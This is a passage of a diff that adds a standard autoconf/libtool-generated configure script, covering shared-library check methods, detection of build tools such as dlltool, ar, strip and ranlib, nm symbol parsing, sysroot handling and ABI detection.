+rdos*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.3*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + pc) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +tpf*) + lt_cv_deplibs_check_method=pass_all + ;; +esac + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5 +$as_echo "$lt_cv_deplibs_check_method" >&6; } + +file_magic_glob= +want_nocaseglob=no +if test "$build" = "$host"; then + case $host_os in + mingw* | pw32*) + if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then + want_nocaseglob=yes + else + file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"` + fi + ;; + esac +fi + +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown + + + + + + + + + + + + + + + + + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args. +set dummy ${ac_tool_prefix}dlltool; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_DLLTOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$DLLTOOL"; then + ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +DLLTOOL=$ac_cv_prog_DLLTOOL +if test -n "$DLLTOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5 +$as_echo "$DLLTOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_DLLTOOL"; then + ac_ct_DLLTOOL=$DLLTOOL + # Extract the first word of "dlltool", so it can be a program name with args. +set dummy dlltool; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_DLLTOOL"; then + ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DLLTOOL="dlltool" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL +if test -n "$ac_ct_DLLTOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5 +$as_echo "$ac_ct_DLLTOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_DLLTOOL" = x; then + DLLTOOL="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DLLTOOL=$ac_ct_DLLTOOL + fi +else + DLLTOOL="$ac_cv_prog_DLLTOOL" +fi + +test -z "$DLLTOOL" && DLLTOOL=dlltool + + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5 +$as_echo_n "checking how to associate runtime and link libraries... " >&6; } +if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_sharedlib_from_linklib_cmd='unknown' + +case $host_os in +cygwin* | mingw* | pw32* | cegcc*) + # two different shell functions defined in ltmain.sh + # decide which to use based on capabilities of $DLLTOOL + case `$DLLTOOL --help 2>&1` in + *--identify-strict*) + lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib + ;; + *) + lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback + ;; + esac + ;; +*) + # fallback: assume linklib IS sharedlib + lt_cv_sharedlib_from_linklib_cmd="$ECHO" + ;; +esac + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5 +$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; } +sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd +test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO + + + + + + + + +if test -n "$ac_tool_prefix"; then + for ac_prog in ar + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_AR+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$AR"; then + ac_cv_prog_AR="$AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_AR="$ac_tool_prefix$ac_prog" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +AR=$ac_cv_prog_AR +if test -n "$AR"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5 +$as_echo "$AR" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$AR" && break + done +fi +if test -z "$AR"; then + ac_ct_AR=$AR + for ac_prog in ar +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_AR+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_AR"; then + ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_AR="$ac_prog" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_AR=$ac_cv_prog_ac_ct_AR +if test -n "$ac_ct_AR"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5 +$as_echo "$ac_ct_AR" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$ac_ct_AR" && break +done + + if test "x$ac_ct_AR" = x; then + AR="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + AR=$ac_ct_AR + fi +fi + +: ${AR=ar} +: ${AR_FLAGS=cru} + + + + + + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5 +$as_echo_n "checking for archiver @FILE support... " >&6; } +if ${lt_cv_ar_at_file+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_ar_at_file=no + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + echo conftest.$ac_objext > conftest.lst + lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5' + { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5 + (eval $lt_ar_try) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if test "$ac_status" -eq 0; then + # Ensure the archiver fails upon bogus file names. + rm -f conftest.$ac_objext libconftest.a + { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5 + (eval $lt_ar_try) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if test "$ac_status" -ne 0; then + lt_cv_ar_at_file=@ + fi + fi + rm -f conftest.* libconftest.a + +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5 +$as_echo "$lt_cv_ar_at_file" >&6; } + +if test "x$lt_cv_ar_at_file" = xno; then + archiver_list_spec= +else + archiver_list_spec=$lt_cv_ar_at_file +fi + + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_STRIP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_STRIP="${ac_tool_prefix}strip" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 +$as_echo "$STRIP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_STRIP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_STRIP="strip" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 +$as_echo "$ac_ct_STRIP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_STRIP" = x; then + STRIP=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + STRIP=$ac_ct_STRIP + fi +else + STRIP="$ac_cv_prog_STRIP" +fi + +test -z "$STRIP" && STRIP=: + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. +set dummy ${ac_tool_prefix}ranlib; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_RANLIB+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +RANLIB=$ac_cv_prog_RANLIB +if test -n "$RANLIB"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5 +$as_echo "$RANLIB" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_RANLIB"; then + ac_ct_RANLIB=$RANLIB + # Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_RANLIB+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_RANLIB"; then + ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_RANLIB="ranlib" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB +if test -n "$ac_ct_RANLIB"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5 +$as_echo "$ac_ct_RANLIB" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_RANLIB" = x; then + RANLIB=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + RANLIB=$ac_ct_RANLIB + fi +else + RANLIB="$ac_cv_prog_RANLIB" +fi + +test -z "$RANLIB" && RANLIB=: + + + + + + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + openbsd*) + old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$tool_oldlib" + ;; + *) + old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$tool_oldlib" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$tool_oldlib" +fi + +case $host_os in + darwin*) + lock_old_archive_extraction=yes ;; + *) + lock_old_archive_extraction=no ;; +esac + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# If no C compiler flags were specified, use CFLAGS. +LTCFLAGS=${LTCFLAGS-"$CFLAGS"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Check for command to grab the raw symbol name followed by C symbol from nm. +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking command to parse $NM output from $compiler object" >&5 +$as_echo_n "checking command to parse $NM output from $compiler object... " >&6; } +if ${lt_cv_sys_global_symbol_pipe+:} false; then : + $as_echo_n "(cached) " >&6 +else + +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[BCDEGRST]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([_A-Za-z][_A-Za-z0-9]*\)' + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[BCDT]' + ;; +cygwin* | mingw* | pw32* | cegcc*) + symcode='[ABCDGISTW]' + ;; +hpux*) + if test "$host_cpu" = ia64; then + symcode='[ABCDEGRST]' + fi + ;; +irix* | nonstopux*) + symcode='[BCDEGRST]' + ;; +osf*) + symcode='[BCDEGQRST]' + ;; +solaris*) + symcode='[BDRT]' + ;; +sco3.2v5*) + symcode='[DT]' + ;; +sysv4.2uw2*) + symcode='[DT]' + ;; +sysv5* | sco5v6* | unixware* | OpenUNIX*) + symcode='[ABDT]' + ;; +sysv4) + symcode='[DFNSTU]' + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[ABCDGIRSTW]' ;; +esac + +# Transform an extracted symbol line into a proper C declaration. +# Some systems (esp. on ia64) link data and code symbols differently, +# so use this general approach. +lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'" +lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'" + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# Try without a prefix underscore, then with it. +for ac_symprfx in "" "_"; do + + # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol. + symxfrm="\\1 $ac_symprfx\\2 \\2" + + # Write the raw and C identifiers. + if test "$lt_cv_nm_interface" = "MS dumpbin"; then + # Fake it for dumpbin and say T for any non-static function + # and D for any global variable. + # Also find C++ and __fastcall symbols from MSVC++, + # which start with @ or ?. + lt_cv_sys_global_symbol_pipe="$AWK '"\ +" {last_section=section; section=\$ 3};"\ +" /^COFF SYMBOL TABLE/{for(i in hide) delete hide[i]};"\ +" /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\ +" \$ 0!~/External *\|/{next};"\ +" / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\ +" {if(hide[section]) next};"\ +" {f=0}; \$ 0~/\(\).*\|/{f=1}; {printf f ? \"T \" : \"D \"};"\ +" {split(\$ 0, a, /\||\r/); split(a[2], s)};"\ +" s[1]~/^[@?]/{print s[1], s[1]; next};"\ +" s[1]~prfx {split(s[1],t,\"@\"); print t[1], substr(t[1],length(prfx))}"\ +" ' prfx=^$ac_symprfx" + else + lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'" + fi + lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'" + + # Check to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext <<_LT_EOF +#ifdef __cplusplus +extern "C" { +#endif +char nm_test_var; +void nm_test_func(void); +void nm_test_func(void){} +#ifdef __cplusplus +} +#endif +int main(){nm_test_var='a';nm_test_func();return(0);} +_LT_EOF + + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + # Now try to grab the symbols. + nlist=conftest.nm + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$NM conftest.$ac_objext \| "$lt_cv_sys_global_symbol_pipe" \> $nlist\""; } >&5 + (eval $NM conftest.$ac_objext \| "$lt_cv_sys_global_symbol_pipe" \> $nlist) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if $GREP ' nm_test_var$' "$nlist" >/dev/null; then + if $GREP ' nm_test_func$' "$nlist" >/dev/null; then + cat <<_LT_EOF > conftest.$ac_ext +/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */ +#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE) +/* DATA imports from DLLs on WIN32 con't be const, because runtime + relocations are performed -- see ld's documentation on pseudo-relocs. */ +# define LT_DLSYM_CONST +#elif defined(__osf__) +/* This system does not cope well with relocations in const data. */ +# define LT_DLSYM_CONST +#else +# define LT_DLSYM_CONST const +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +_LT_EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext' + + cat <<_LT_EOF >> conftest.$ac_ext + +/* The mapping between symbol names and symbols. */ +LT_DLSYM_CONST struct { + const char *name; + void *address; +} +lt__PROGRAM__LTX_preloaded_symbols[] = +{ + { "@PROGRAM@", (void *) 0 }, +_LT_EOF + $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (void *) \&\2},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext + cat <<\_LT_EOF >> conftest.$ac_ext + {0, (void *) 0} +}; + +/* This works around a problem in FreeBSD linker */ +#ifdef FREEBSD_WORKAROUND +static const void *lt_preloaded_setup() { + return lt__PROGRAM__LTX_preloaded_symbols; +} +#endif + +#ifdef __cplusplus +} +#endif +_LT_EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_globsym_save_LIBS=$LIBS + lt_globsym_save_CFLAGS=$CFLAGS + LIBS="conftstm.$ac_objext" + CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag" + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 + (eval $ac_link) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s conftest${ac_exeext}; then + pipe_works=yes + fi + LIBS=$lt_globsym_save_LIBS + CFLAGS=$lt_globsym_save_CFLAGS + else + echo "cannot find nm_test_func in $nlist" >&5 + fi + else + echo "cannot find nm_test_var in $nlist" >&5 + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5 + fi + else + echo "$progname: failed program was:" >&5 + cat conftest.$ac_ext >&5 + fi + rm -rf conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test "$pipe_works" = yes; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done + +fi + +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: failed" >&5 +$as_echo "failed" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: ok" >&5 +$as_echo "ok" >&6; } +fi + +# Response file support. +if test "$lt_cv_nm_interface" = "MS dumpbin"; then + nm_file_list_spec='@' +elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then + nm_file_list_spec='@' +fi + + + + + + + + + + + + + + + + + + + + + + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5 +$as_echo_n "checking for sysroot... " >&6; } + +# Check whether --with-sysroot was given. +if test "${with_sysroot+set}" = set; then : + withval=$with_sysroot; +else + with_sysroot=no +fi + + +lt_sysroot= +case ${with_sysroot} in #( + yes) + if test "$GCC" = yes; then + lt_sysroot=`$CC --print-sysroot 2>/dev/null` + fi + ;; #( + /*) + lt_sysroot=`echo "$with_sysroot" | sed -e "$sed_quote_subst"` + ;; #( + no|'') + ;; #( + *) + { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_sysroot}" >&5 +$as_echo "${with_sysroot}" >&6; } + as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5 + ;; +esac + + { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5 +$as_echo "${lt_sysroot:-no}" >&6; } + + + + + +# Check whether --enable-libtool-lock was given. +if test "${enable_libtool_lock+set}" = set; then : + enableval=$enable_libtool_lock; +fi + +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + case `/usr/bin/file conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE="32" + ;; + *ELF-64*) + HPUX_IA64_MODE="64" + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out which ABI we are using. + echo '#line '$LINENO' "configure"' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + if test "$lt_cv_prog_gnu_ld" = yes; then + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +x86_64-*kfreebsd*-gnu|x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*| \ +s390*-*linux*|s390*-*tpf*|sparc*-*linux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" 